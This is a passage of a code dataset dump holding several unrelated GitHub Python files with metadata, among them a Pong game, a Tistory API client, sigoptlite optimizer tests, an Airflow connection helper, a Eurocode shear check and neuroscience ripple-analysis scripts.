ball_rect.x = 1200 - ball_rect.x - 200\n points_ai_score += 1\n\n if not ai_status:\n screen.blit(ai_off_surface, (600,20))\n\n screen.blit(ball_surface, ball_rect)\n display_score(points_player_score,points_ai_score)\n screen.blit(player_surface,player_rect)\n screen.blit(ai_surface,ai_rect)\n\n #key player input\n keys = pygame.key.get_pressed()\n #ai \n if ball_rect.y < ai_rect.y and ball_rect.x > 600 and ai_status:\n ai_rect.y -= 7\n if ball_rect.y > ai_rect.y and ball_rect.x > 600 and ai_status:\n ai_rect.y += 7\n if ai_rect.top <= 0:\n ai_rect.y = 0\n if ai_rect.bottom >= 700:\n ai_rect.y = 700 - 150\n\n\n\n\n if keys[pygame.K_SPACE] or keys[pygame.K_UP] :\n player_rect.y -= 10\n if keys[pygame.K_LCTRL] or keys[pygame.K_DOWN]:\n player_rect.y += 10\n\n #prevent player from going overboard\n if player_rect.top <= 0:\n player_rect.y = 0\n if player_rect.bottom >= 700:\n player_rect.y = 700 - 150\n\n #ball colison\n if player_rect.colliderect(ball_rect):\n ball_rect.x += 3\n ball_x_speed = -ball_x_speed\n if ai_rect.colliderect(ball_rect):\n ball_rect.x -= 3\n ball_x_speed = -ball_x_speed\n\n\n\n pygame.display.update()\n clock.tick(60)","repo_name":"Imn0/Pong","sub_path":"pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31640692668","text":"\nclass Agent:\n def __init__(self, agent_id, origin_nid, destin_nid, deptarture_time, vehicle_length, gps_reroute):\n #input\n self.agent_id = agent_id\n self.origin_nid = origin_nid\n self.destin_nid = destin_nid\n self.furthest_nid = destin_nid\n self.deptarture_time = deptarture_time\n self.vehicle_length = vehicle_length\n self.gps_reroute = gps_reroute\n ### derived\n self.current_link_start_nid = 'vn{}'.format(self.origin_nid) # current link start node\n self.current_link_end_nid = self.origin_nid # current link end node\n ### Empty\n self.route = {} ### None or list of route\n self.status = 'unloaded' ### unloaded, enroute, shelter, shelter_arrive, arrive\n self.current_link_enter_time = None\n self.next_link = None\n self.next_link_end_nid = None ### next link end\n\n def get_path():\n sp = g.dijkstra(self.current_link_end_nid, self.destin_nid)\n sp_dist = sp.distance(self.destin_nid)\n if sp_dist > 1e8:\n sp.clear()\n # self.route = {self.current_link_start_nid: self.current_link_end_nid}\n self.route = {}\n self.furthest_nid = self.current_link_end_nid\n self.status = 'shelter'\n print(self.agent_id, self.current_link_start_nid, self.current_link_end_nid)\n else:\n sp_route = sp.route(self.destin_nid)\n ### create a path. Order only preserved in Python 3.7+. Do not rely on.\n # self.route = {self.current_link_start_nid: self.current_link_end_nid}\n for (start_nid, end_nid) in sp_route:\n self.route[start_nid] = end_nid\n sp.clear()\n\nnode_edge_df.to_csv('/home/bingyu/Documents/spatial_queue/projects/butte_osmnx/simulation_outputs/network/node_edge_df.csv', index=False)\n","repo_name":"cb-cities/spatial_queue","sub_path":"model/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"73134963287","text":"import os\n\nimport requests\nfrom dotenv import load_dotenv\nimport json\n\n\nclass Tistory:\n load_dotenv()\n APP_ID = os.getenv(\"TISTORY_APP_ID\")\n SECRET_KEY = os.getenv(\"TISTORY_SECRET_KEY\")\n TISTORY_CODE = os.getenv(\"TISTORY_CODE\")\n TISTORY_REDIRECT_URI = os.getenv(\"TISTORY_REDIRECT_URI\")\n TISTORY_STATE = os.getenv(\"TISTORY_STATE\")\n TISTORY_ACCESS_TOKEN = os.getenv(\"TISTORY_ACCESS_TOKEN\")\n\n @staticmethod\n def authorize():\n response = requests.get(\n f\"https://www.tistory.com/oauth/authorize?client_id={Tistory.APP_ID}&response_type=code&state={Tistory.TISTORY_STATE}&redirect_uri={Tistory.TISTORY_REDIRECT_URI}\"\n )\n print(response.text)\n\n @staticmethod\n def access_token():\n response = requests.get(\n f\"https://www.tistory.com/oauth/access_token?client_id={Tistory.APP_ID}&client_secret={Tistory.SECRET_KEY}&grant_type=authorization_code&redirect_uri={Tistory.TISTORY_REDIRECT_URI}&code={Tistory.TISTORY_CODE}\"\n )\n return response.text.replace(\"access_token=\", \"\")\n\n @staticmethod\n def blog_info():\n response = requests.get(\n f\"https://www.tistory.com/apis/blog/info?access_token={Tistory.TISTORY_ACCESS_TOKEN}&output=json\"\n )\n print(response.text)\n\n @staticmethod\n def category_list(blogName):\n response = requests.get(\n f\"https://www.tistory.com/apis/category/list?access_token={Tistory.TISTORY_ACCESS_TOKEN}&output=json&blogName={blogName}\"\n )\n json.loads(response.text)\n print(response.text)\n\n @staticmethod\n def post_write(blog_name, category_id, title, content, tag, slogan, visibility=3):\n data = {\n \"category\": category_id,\n \"title\": title,\n \"content\": content,\n \"tag\": tag,\n \"slogan\": slogan,\n \"visibility\": visibility,\n }\n response = requests.post(\n f\"https://www.tistory.com/apis/post/write?access_token={Tistory.TISTORY_ACCESS_TOKEN}&output=json&blogName={blog_name}\",\n data=data,\n )\n json.loads(response.text)\n print(response.text)\n\n @staticmethod\n def post_attach(blog_name, file):\n response = requests.post(\n f\"https://www.tistory.com/apis/post/attach?access_token={Tistory.TISTORY_ACCESS_TOKEN}&output=json&blogName={blog_name}\",\n files={\"uploadedfile\": file},\n )\n if response.status_code == 200:\n response_data = json.loads(response.text)\n print(response.text)\n if response_data[\"tistory\"][\"status\"] == \"200\":\n return response_data[\"tistory\"][\"url\"]\n else:\n return None\n else:\n print(response.text)\n","repo_name":"mgh3326/kobis-crawl","sub_path":"models/Tistory.py","file_name":"Tistory.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14727368693","text":"import mock\nimport pytest\n\nfrom libsigopt.views.rest.search_next_points import SearchNextPoints\nfrom libsigopt.views.rest.spe_search_next_points import SPESearchNextPoints\n\nfrom sigoptlite.builders import LocalExperimentBuilder\nfrom sigoptlite.sources import EmptySuggestionError, GPSource, RandomSearchSource, SPESource\n\nfrom test.base_test import UnitTestsBase\n\n\nclass TestRandomSearch(UnitTestsBase):\n @pytest.mark.parametrize(\"num_observations\", [0, 7])\n def test_basic(self, any_meta, num_observations):\n experiment = LocalExperimentBuilder(any_meta)\n observations = self.make_random_observations(experiment, num_observations)\n source = RandomSearchSource(experiment)\n suggestion = source.get_suggestion(observations)\n self.assert_valid_suggestion(suggestion, experiment)\n\n\nclass TestGPNextPoints(UnitTestsBase):\n @staticmethod\n def assert_valid_hyperparameters(hyperparameters, experiment):\n assert hyperparameters[\"alpha\"] > 0\n\n for lengthscales, parameter in zip(hyperparameters[\"length_scales\"], experiment.parameters):\n if parameter.is_categorical:\n assert len(lengthscales) == len(parameter.categorical_values)\n else:\n assert len(lengthscales) == 1\n assert bool(ll > 0 for ll in lengthscales)\n\n if experiment.is_multitask:\n assert hyperparameters[\"task_length\"] is not None\n assert hyperparameters[\"task_length\"] > 0\n\n @pytest.mark.parametrize(\"feature\", [\"default\", \"multitask\", \"metric_constraint\"])\n def test_hyperparameter_update(self, feature):\n experiment_meta = self.get_experiment_feature(feature)\n experiment = LocalExperimentBuilder(experiment_meta)\n observations = self.make_random_observations(experiment, 5)\n source = GPSource(experiment)\n defaut_hyperparameters = GPSource.get_default_hyperparameters(experiment)\n hyperparameters_list = source.update_hyperparameters(observations, defaut_hyperparameters)\n assert hyperparameters_list != defaut_hyperparameters\n assert len(hyperparameters_list) > 0\n for hyperparameters in hyperparameters_list:\n self.assert_valid_hyperparameters(hyperparameters, experiment)\n\n def test_valid_suggestion(self, any_meta):\n experiment = LocalExperimentBuilder(any_meta)\n observations = self.make_random_observations(experiment, 5)\n source = GPSource(experiment)\n suggestion = source.get_suggestion(observations)\n self.assert_valid_suggestion(suggestion, experiment)\n\n @mock.patch.object(SearchNextPoints, \"view\")\n def test_multisolution_calls_search(self, mock_view):\n fake_point = [1.265, 2.151, 3.1205]\n mock_view.return_value = {\"points_to_sample\": [fake_point]}\n\n experiment_meta = self.get_experiment_feature(\"multisolution\")\n experiment = LocalExperimentBuilder(experiment_meta)\n observations = self.make_random_observations(experiment, 5)\n source = GPSource(experiment)\n point, task_cost = source.next_point(observations)\n assert point == [fake_point]\n assert task_cost is None\n\n @pytest.mark.parametrize(\"feature\", [\"categorical\", \"integer\"])\n def test_space_exhausted_empty_next_points(self, feature):\n experiment_meta = self.get_experiment_feature(feature)\n experiment = LocalExperimentBuilder(experiment_meta)\n\n parameter = experiment_meta[\"parameters\"][0]\n elements = []\n if feature == \"categorical\":\n elements = parameter[\"categorical_values\"]\n elif feature == \"integer\":\n bound_min, bound_max = parameter[\"bounds\"][\"min\"], parameter[\"bounds\"][\"max\"]\n elements = [*range(bound_min, bound_max + 1)]\n\n observations = [\n self.make_observation(\n experiment=experiment,\n assignments={parameter[\"name\"]: element},\n values=[dict(name=experiment.metrics[0].name, value=i, value_stddev=0)],\n )\n for i, element in enumerate(elements)\n ]\n\n next_points, _ = GPSource(experiment).next_point(observations)\n assert next_points == []\n with pytest.raises(EmptySuggestionError) as exception_info:\n GPSource(experiment).get_suggestion(observations)\n msg = \"Unable to generate suggestions. Maybe all unique suggestions were sampled?\"\n assert exception_info.value.args[0].startswith(msg)\n\n\nclass TestSPENextPoints(UnitTestsBase):\n def test_valid_suggestion(self, any_meta):\n experiment = LocalExperimentBuilder(any_meta)\n observations = self.make_random_observations(experiment, 5)\n source = SPESource(experiment)\n suggestion = source.get_suggestion(observations)\n self.assert_valid_suggestion(suggestion, experiment)\n\n @mock.patch.object(SPESearchNextPoints, \"view\")\n def test_multisolution_calls_search(self, mock_view):\n fake_point = [9.657, 8.321, 7.6518]\n mock_view.return_value = {\"points_to_sample\": [fake_point]}\n\n experiment_meta = self.get_experiment_feature(\"multisolution\")\n experiment = LocalExperimentBuilder(experiment_meta)\n observations = self.make_random_observations(experiment, 5)\n source = SPESource(experiment)\n point, task_cost = source.next_point(observations)\n assert point == [fake_point]\n assert task_cost is None\n\n\nclass TestDiscreteOptions(UnitTestsBase):\n @pytest.mark.parametrize(\"source_class\", [RandomSearchSource, SPESource])\n @pytest.mark.parametrize(\"feature,num_observations\", [(\"categorical\", 5), (\"integer\", 15)])\n def test_exhausted_options(self, source_class, feature, num_observations):\n experiment_meta = self.get_experiment_feature(feature)\n experiment = LocalExperimentBuilder(experiment_meta)\n source = source_class(experiment)\n observations = self.make_random_observations(experiment, num_observations)\n suggestion = source.get_suggestion(observations)\n self.assert_valid_suggestion(suggestion, experiment)\n","repo_name":"sigopt/sigoptlite","sub_path":"test/test_sources.py","file_name":"test_sources.py","file_ext":"py","file_size_in_byte":5710,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"22829414663","text":"import tensorflow as tf\n\nsess = tf.Session()\n\ndataset = tf.data.Dataset.range(100)\nprint(dataset.output_shapes)\nprint(dataset.output_types)\n\niterator = dataset.make_one_shot_iterator()\nnext_element = iterator.get_next()\n\nfor i in range(100):\n value = sess.run(next_element)\n assert i == value\n","repo_name":"GlassyWing/tf-learn","sub_path":"high_level/importing_data/E02_iterator_one_shot.py","file_name":"E02_iterator_one_shot.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25823790765","text":"# -*- coding: utf-8 -*-\n''' Example 6.5 from EC2 Worked Examples (rev A 31-03-2017)'''\n\nfrom __future__ import print_function\nfrom __future__ import division\n\n__author__= \"Luis C. Pérez Tato (LCPT) and Ana Ortega (AOO)\"\n__copyright__= \"Copyright 2022, LCPT and AOO\"\n__license__= \"GPL\"\n__version__= \"3.0\"\n__email__= \"l.pereztato@gmail.com\"\n\nimport math\nfrom materials.ec2 import EC2_materials\nfrom materials.ec2 import EC2_limit_state_checking\n\n# Geometry\nbw= .15\nh= .8\nd= .75\nAc= bw*h\nz= .675\n\n# Materials\n## Concrete\nconcrete= EC2_materials.C30\n\n## Shear reinforcement\nstirrupsSteel= EC2_materials.S450B\nstirrups= EC2_materials.rebarsEC2['fi10'] # rebar diameter\nstirrupsArea= stirrups['area'] # rebar area\nstirrupsAngle= math.pi/4.0\nnumberOfLegs= 2\nstirrupsSpacing= 0.15\n\nAsw= numberOfLegs*stirrupsArea # cross-sectional area of the shear reinforcement\n\n# maximum effective shear reinforcement according to clause 6.2.3 of EC2:2004\nAsw_max= EC2_limit_state_checking.getMaximumEffectiveShearReinforcement(concrete, NEd= 0.0, Ac= Ac, bw= bw, s= stirrupsSpacing, shearReinfSteel= stirrupsSteel, shearReinfAngle= stirrupsAngle, nationalAnnex= None)\ncorr= concrete.getShearStrengthReductionFactor()/.616*0.85\nAsw_maxRef= corr*7.4e6*bw*stirrupsSpacing/stirrupsSteel.fyd()\nratio1= abs(Asw_max-Asw_maxRef)/Asw_maxRef\n\n# angle theta of simultaneous concrete – reinforcement steel collapse\noptimumStrutAngle= EC2_limit_state_checking.getWebStrutAngleForSimultaneousCollapse(concrete, bw= bw, s= stirrupsSpacing, Asw= Asw, shearReinfSteel= stirrupsSteel, shearReinfAngle= stirrupsAngle)\noptimumStrutAngleRef= math.radians(25.32151662757501)\nratio2= abs(optimumStrutAngle-optimumStrutAngleRef)/optimumStrutAngleRef\n\n# design value of the shear resistance\nVRds= EC2_limit_state_checking.getShearResistanceShearReinf(concrete= concrete, NEd= 0.0, Ac= Ac, bw= bw, Asw= Asw, s= stirrupsSpacing, z= z, shearReinfSteel= stirrupsSteel, shearReinfAngle= stirrupsAngle, webStrutAngle= optimumStrutAngle, nationalAnnex= None)\nVRdsRef= 608.9415444951244e3\nratio3= abs(VRds-VRdsRef)/VRdsRef\n\n# increase of tensile force in the longitudinal bars.\nVEd= VRds # Ultimate shear force.\nincTensileForce= EC2_limit_state_checking.getAdditionalTensileForceMainReinf(VEd= VRds, shearReinfAngle= stirrupsAngle, webStrutAngle= optimumStrutAngle)\nincTensileForceRef= 339.0165663093328e3\nratio4= abs(incTensileForce-incTensileForceRef)/incTensileForceRef\n\n'''\nprint('Asw_max= ', Asw_max*1e4, 'cm2')\nprint('Asw_maxRef= ', Asw_maxRef*1e4, 'cm2')\nprint('ratio1= ', ratio1)\nprint('Strut angle for simultaneous collapse: theta=', math.degrees(optimumStrutAngle))\nprint('ratio2= ', ratio2)\nprint('VRds= ', VRds/1e3, 'kN')\nprint('ratio3= ', ratio3)\nprint('Increase of tensile force in the longitudinal bars due to shear: ', incTensileForce/1e3, 'kN')\nprint('ratio4= ', ratio4)\n'''\n\nimport os\nfrom misc_utils import log_messages as lmsg\nfname= os.path.basename(__file__)\nif (ratio1<.1) and (ratio2<1e-12) and (ratio3<1e-12) and (ratio4<1e-12):\n print('test '+fname+': ok.')\nelse:\n lmsg.error(fname+' ERROR.')\n","repo_name":"xcfem/xc","sub_path":"verif/tests/materials/ec2/test_EC2_shear_04.py","file_name":"test_EC2_shear_04.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":196,"dataset":"github-code","pt":"31"} +{"seq_id":"6914301349","text":"#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport sys\nfrom itertools import combinations\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport scipy\n\nsys.path.append(\".\")\nimport utils\nfrom modules.cliffsDelta.cliffsDelta import cliffsDelta\n\nap = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nap.add_argument(\n \"-nm\", \"--n_mouse\", default=\"01\", choices=[\"01\", \"02\", \"03\", \"04\", \"05\"], help=\" \"\n)\nap.add_argument(\n \"-ftr\",\n default=\"duration\",\n choices=[\"duration\", \"mep\", \"ripple peak magnitude\"],\n help=\" \",\n)\nargs = ap.parse_args()\n\n\n################################################################################\n## Fixes random seed\n################################################################################\nutils.general.fix_seeds(seed=42, np=np)\n\n\n################################################################################\n## Configures matplotlib\n################################################################################\nutils.plt.configure_mpl(plt)\n\n\n################################################################################\n## Sets tee\n################################################################################\nsys.stdout, sys.stderr = utils.general.tee(sys)\n\n\n################################################################################\n## FPATHs\n################################################################################\nLPATH_HIPPO_LFP_NPY_LIST_MICE = utils.pj.load.get_hipp_lfp_fpaths(args.n_mouse)\n\nLPATH_HIPPO_LFP_NPY_LIST = utils.general.read_txt(\n \"./data/okada/FPATH_LISTS/HIPPO_LFP_TT_NPYs.txt\"\n)\nLPATH_HIPPO_LFP_NPY_LIST_MICE = utils.general.search_str_list(\n LPATH_HIPPO_LFP_NPY_LIST, args.n_mouse\n)[1]\n\nlpath_lfp = LPATH_HIPPO_LFP_NPY_LIST_MICE[0]\n\nlpath_rip_sec_GMM = utils.path_converters.LFP_to_ripples(\n lpath_lfp,\n rip_sec_ver=\"GMM_labeled/D{}+\".format(args.n_mouse),\n)\n\nlpath_rip_sec_CNN = utils.path_converters.LFP_to_ripples(\n lpath_lfp,\n rip_sec_ver=\"CNN_labeled/D{}+\".format(args.n_mouse),\n)\n\n\n## Gets Parameters\nsamp_rate = utils.general.get_samp_rate_int_from_fpath(lpath_lfp)\n# dt_sec = 1. / samp_rate\n\n\n################################################################################\n## Loads\n################################################################################\nrip_sec_GMM = utils.general.load(lpath_rip_sec_GMM)\nrip_sec_CNN = utils.general.load(lpath_rip_sec_CNN)\n\nrip_sec = rip_sec_GMM\nrip_sec[\"are_ripple_CNN\"] = rip_sec_CNN[\"are_ripple_CNN\"].astype(bool)\ndel rip_sec_GMM, rip_sec_CNN\n\n\n################################################################################\n## Differences among labels\n################################################################################\nrip_sec[\"T2T\"] = rip_sec[\"are_ripple_GMM\"] & rip_sec[\"are_ripple_CNN\"]\nrip_sec[\"F2T\"] = ~rip_sec[\"are_ripple_GMM\"] & rip_sec[\"are_ripple_CNN\"]\nrip_sec[\"T2F\"] = rip_sec[\"are_ripple_GMM\"] & ~rip_sec[\"are_ripple_CNN\"]\nrip_sec[\"F2F\"] = ~rip_sec[\"are_ripple_GMM\"] & ~rip_sec[\"are_ripple_CNN\"]\n\n\n################################################################################\n## Switches duration/MEP/ripple peak magnitude\n################################################################################\nif args.ftr == \"duration\":\n ftr_str = \"ln(duration_ms)\"\n ylabel = \"ln(Duration [ms]) [a.u.]\"\n ylim = (2, 8.1)\n n_yticks = 4\n\nif args.ftr == \"mep\":\n ftr_str = \"mean ln(MEP magni. / SD)\"\n ylabel = \"Mean normalized magnitude of MEP [a.u.]\"\n ylim = (-2, 4.1)\n n_yticks = 4\n\nif args.ftr == \"ripple peak magnitude\":\n ftr_str = \"ln(ripple peak magni. / SD)\"\n ylabel = \"Normalized ripple peak magnitude [a.u.]\"\n ylim = (0, 3.1)\n n_yticks = 4\n\n\n################################################################################\n## Plots\n################################################################################\nutils.general.configure_mpl(plt, figscale=8)\nfig, ax = plt.subplots()\n\ncolors2str = {\n \"T2T\": \"blue\",\n \"F2T\": \"light_blue\",\n \"T2F\": \"pink\",\n \"F2F\": \"red\",\n}\n\ndfs = []\nalpha = 0.5\nticks = []\ngroups = [\"T2T\", \"F2T\", \"T2F\", \"F2F\"]\nfor i_label, label in enumerate(groups):\n df = pd.DataFrame(rip_sec[rip_sec[label]][ftr_str])\n ticks.append(\"{}\\n(n = {:,})\".format(label, len(df)))\n RGBA = utils.plt.colors.to_RGBA(colors2str[label], alpha=alpha)\n dfs.append(df)\n\n box = ax.boxplot(\n x=df,\n boxprops=dict(facecolor=RGBA, color=RGBA),\n medianprops=dict(color=\"black\", linewidth=1),\n notch=False,\n whis=True,\n showfliers=False,\n patch_artist=True,\n positions=[i_label],\n )\n\nax.set_xticklabels(ticks)\nax.set_ylim(*ylim)\n\nax.set_ylabel(ylabel)\nax.set_title(\"Mouse #{}\".format(args.n_mouse))\n\nystart, yend = ax.get_ylim()\nax.yaxis.set_ticks(np.linspace(ystart, np.round(yend, 0), n_yticks))\n# fig.show()\n\nutils.general.save(\n fig, \"mouse_#{}_{}.png\".format(args.n_mouse, args.ftr.replace(\" \", \"_\"))\n)\n\n\n################################################################################\n## Kruskal-Wallis test (, which is often regarded as a nonparametric version of the ANOVA test.)\n################################################################################\ndata = {g: rip_sec[rip_sec[g]][ftr_str] for g in groups}\nH_statistic, p_value = scipy.stats.kruskal(*data.values()) # one-way ANOVA on RANKs\nprint(\n \"\\nKruskal-Wallis test:\\nH_statistic: {}\\np-value: {}\\n\".format(\n H_statistic, p_value\n )\n)\n\n\n################################################################################\n## Brunner-Munzel test (post-hoc test; with Bonferroni correction)\n################################################################################\npvals_bm_df = pd.DataFrame(index=groups, columns=groups)\n\nfor combi in combinations(groups, 2):\n i_str, j_str = combi\n pvals_bm_df.loc[i_str, j_str] = utils.stats.brunner_munzel_test(\n data[i_str], data[j_str]\n )[1]\n\nNaN_mask = pvals_bm_df.isna()\nnonNaN_mask = ~NaN_mask\nn_nonNaN = (nonNaN_mask).sum().sum()\n## Bonferroni correction\npvals_bm_bonf_df = pvals_bm_df.copy()\npvals_bm_bonf_df[nonNaN_mask] = pvals_bm_bonf_df[nonNaN_mask] * n_nonNaN\n## Significant or not\nalpha = 0.05\nsignificant_mask = pvals_bm_bonf_df < alpha\nsignificant_mask[NaN_mask] = \"-\"\nprint(\n \"\\nBrunner-Munzel test with Bonferroni correction:\\n{}\\n\".format(significant_mask.T)\n)\n# out = utils.stats.multicompair(data, groups, testfunc=utils.stats.brunner_munzel_test)\n\n################################################################################\n## Cliff's delta values (effect size)\n################################################################################\ncliff_df = pd.DataFrame(index=groups, columns=groups)\n\nfor combi in combinations(groups, 2):\n i_str, j_str = combi\n cliff_df.loc[i_str, j_str] = cliffsDelta(data[i_str], data[j_str])[0]\n\nabs_cliff_df = cliff_df.abs()\n\n## 3d-barplot\n# setup the figure and axes\nutils.general.configure_mpl(plt, figscale=10)\nfig = plt.figure()\nax = fig.add_subplot(projection=\"3d\")\n## coordinates\n_x = np.arange(abs_cliff_df.shape[0])\n_y = np.arange(abs_cliff_df.shape[1])\n_xx, _yy = np.meshgrid(_x, _y)\nx, y = _xx.ravel(), _yy.ravel()\ndz = [abs_cliff_df.iloc[xi, yi] for xi, yi in zip(x, y)]\ndx = dy = 1\nz = np.zeros_like(x)\n## plot\nax.bar3d(x, y, z, dx, dy, dz, shade=True)\nax.set_zlim(0, 1)\nax.set_xticks(np.arange(len(groups)) + 0.5)\nax.set_xticklabels(groups)\nax.set_yticks(np.arange(len(groups)) + 0.5)\nax.set_yticklabels(groups)\nax.set_title(\n \"Absolute cliffs delta values for {ftr_str}\\nMouse #{nm}\".format(\n ftr_str=ftr_str, nm=args.n_mouse\n )\n)\n# fig.show()\nutils.general.save(fig, \"abs_cliffs_delta_mouse_#{}.png\".format(args.n_mouse))\n\n\n## EOF\n","repo_name":"ywatanabe1989/towards-threshold-invariance-in-defining-hippocampal-ripples","sub_path":"ripples/define_ripples/summary/old/checks_ripple_props.py","file_name":"checks_ripple_props.py","file_ext":"py","file_size_in_byte":7756,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34127438871","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jun 17 18:22:03 2020\r\n\r\n@author: reetb\r\n\"\"\"\r\n\r\nimport os\r\nos.chdir('C:/Local/Coursework/Research-HPCBIO-Lab/Graph Ordering/HiPC2020/')\r\n\r\nimport numpy as np\r\n\r\nfilename = 'CommunityDetectionOutput.txt'\r\n\r\ncommunities = np.genfromtxt(filename, dtype = int)\r\n\r\ncommunity = {}\r\nsizes = []\r\n\r\nfor i in range(np.max(communities) + 1):\r\n l = [j for j, x in enumerate(communities) if x == i ]\r\n sizes.append(len(l))\r\n community[i] = l\r\n \r\n","repo_name":"ReetBarik/IISWC-2020","sub_path":"IISWC2020/Community_to_Vertex.py","file_name":"Community_to_Vertex.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13235126250","text":"import os\n\nfrom starlette.config import Config\n\nconfig = Config(os.path.realpath(f'{os.path.dirname(__file__)}/../../.env'))\nSECRET_KEY = config(key=\"SECRET_KEY\") or os.urandom(32)\nDEBUG = config(key=\"DEBUG\", cast=bool, default=True)\nACCESS_TOKEN_EXPIRE_MINUTES = 60 * 24 * 1 # 60 minutes * 24 hours * 8 days = 8 days\n\nBACKEND_CORS_ORIGINS = config(\"BACKEND_CORS_ORIGINS\")\n# a string of origins separated by commas, e.g: \"http://localhost, http://localhost:4200, http://localhost:3000, http://localhost:8080, http://local.dockertoolbox.tiangolo.com\"\n\nPROJECT_NAME = config(\"PROJECT_NAME\")\nDATABASE_URL = config(\"DB_CONNECTION\")\n","repo_name":"qquangz066/inventory","sub_path":"backend/src/core/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42687780231","text":"from airflow.hooks.base import BaseHook\nfrom airflow import settings\nfrom airflow.models import Connection\n\n\ndef get_connection():\n conn = Connection(\n conn_id=\"RADAR\",\n conn_type=\"http\",\n host=\"https://cwms-data.usace.army.mil/cwms-data\",\n login=\"nologin\",\n password=\"nopass\",\n port=None,\n )\n # create a connection object\n session = settings.Session() # get the session\n\n # Check to see if connection already exists\n conn_name = (\n session.query(Connection).filter(Connection.conn_id == conn.conn_id).first()\n )\n if str(conn_name) == str(conn.conn_id):\n # return existing connection\n return BaseHook.get_connection(\"RADAR\")\n\n # otherwise connection doesn't exist, so let's add it\n session.add(conn)\n session.commit()\n return conn\n","repo_name":"USACE/airflow-config","sub_path":"dags/_save/create_connection.py","file_name":"create_connection.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"23524397678","text":"import networkx as nx\nimport numpy as np\n\nfrom mo.front.common.layout import get_width_dim, get_height_dim\nfrom mo.front.extractor import attr_getter\nfrom mo.graph.graph import Node\nfrom mo.ops.op import Op\n\n\nclass PriorBoxOp(Op):\n op = 'PriorBox'\n\n def __init__(self, graph: nx.MultiDiGraph, attrs: dict):\n mandatory_props = {\n 'type': __class__.op,\n 'op': __class__.op,\n 'flip': 1,\n 'max_size': np.array([]),\n 'min_size': np.array([]),\n 'aspect_ratio': np.array([]),\n 'infer': PriorBoxOp.priorbox_infer\n }\n super().__init__(graph, mandatory_props, attrs)\n\n def supported_attrs(self):\n return [\n 'min_size',\n 'max_size',\n 'aspect_ratio',\n 'flip',\n 'clip',\n 'variance',\n 'img_size',\n 'img_h',\n 'img_w',\n 'step',\n 'step_h',\n 'step_w',\n 'offset',\n ]\n\n def backend_attrs(self):\n return [\n 'flip',\n 'clip',\n 'step',\n 'offset',\n ('min_size', lambda node: attr_getter(node, 'min_size')),\n ('max_size', lambda node: attr_getter(node, 'max_size')),\n ('aspect_ratio', lambda node: attr_getter(node, 'aspect_ratio')),\n ('variance', lambda node: attr_getter(node, 'variance')),\n ]\n\n @staticmethod\n def priorbox_infer(node: Node):\n layout = node.graph.graph['layout']\n data_shape = node.in_node(0).shape\n\n # calculate all different aspect_ratios (the first one is always 1)\n # in aspect_ratio 1/x values will be added for all except 1 if flip is True\n ar_seen = [1.0]\n ar_seen.extend(node.aspect_ratio.copy())\n if node.flip:\n for s in node.aspect_ratio:\n ar_seen.append(1.0/s)\n\n ar_seen = np.unique(np.array(ar_seen).round(decimals=6))\n \n num_ratios = 0\n if len(node.min_size) > 0:\n num_ratios = len(ar_seen) * len(node.min_size)\n\n num_ratios = num_ratios + len(node.max_size)\n\n res_prod = data_shape[get_height_dim(layout, 4)] * data_shape[get_width_dim(layout, 4)] * num_ratios * 4\n node.out_node(0).shape = np.array([1, 2, res_prod], dtype=np.int64)\n","repo_name":"pc2/CustoNN2","sub_path":"dldt/model-optimizer/extensions/ops/priorbox.py","file_name":"priorbox.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"33666305537","text":"import numpy as np\r\nimport pandas as pd\r\nimport datetime\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nsubmission = pd.read_csv('submission.txt',dtype={'DATE':'category','ASS_ASSIGNMENT':'category','prediction': np.int16,} ,sep='\\t',parse_dates=[0])\r\n\r\n\r\nall_ass = np.unique(submission['ASS_ASSIGNMENT'].values) \r\nprint(all_ass.size)\r\n\r\n \r\ndel(submission)\r\n\r\n\r\n\r\n\r\n# we load every file containing the data for every ASS. We notice that for the same time slot in the same day, we have different rows,\r\n# these rows contains the number of reieved calls from different calls center, we have to make their sum to obtain the real number of recieved calls in that time slot\r\n\r\nfor ass in all_ass :\r\n ass_sep = pd.read_csv('ASS='+ass+'clean.csv', sep=';')\r\n \r\n era=ass_sep.groupby(['ASS_ASSIGNMENT','month','day','weekday','weekend','time','night','year','jours_ferie'])['CSPL_RECEIVED_CALLS'].sum()\r\n \r\n era=era.reset_index()\r\n era.to_csv('ASS='+ass+'clean_merged.csv', sep=';',index=False)\r\n\r\n \r\n \r\n","repo_name":"Skjemaa/predicting_phone_calls","sub_path":"preprocessing/2-collapsing same data in ASS data.py","file_name":"2-collapsing same data in ASS data.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12055859842","text":"L = [x*x for x in range(10)]\nL1 = (x*x for x in range(10))\nprint(next(L1))\nprint(next(L1))\n\nfor i in L1:\n 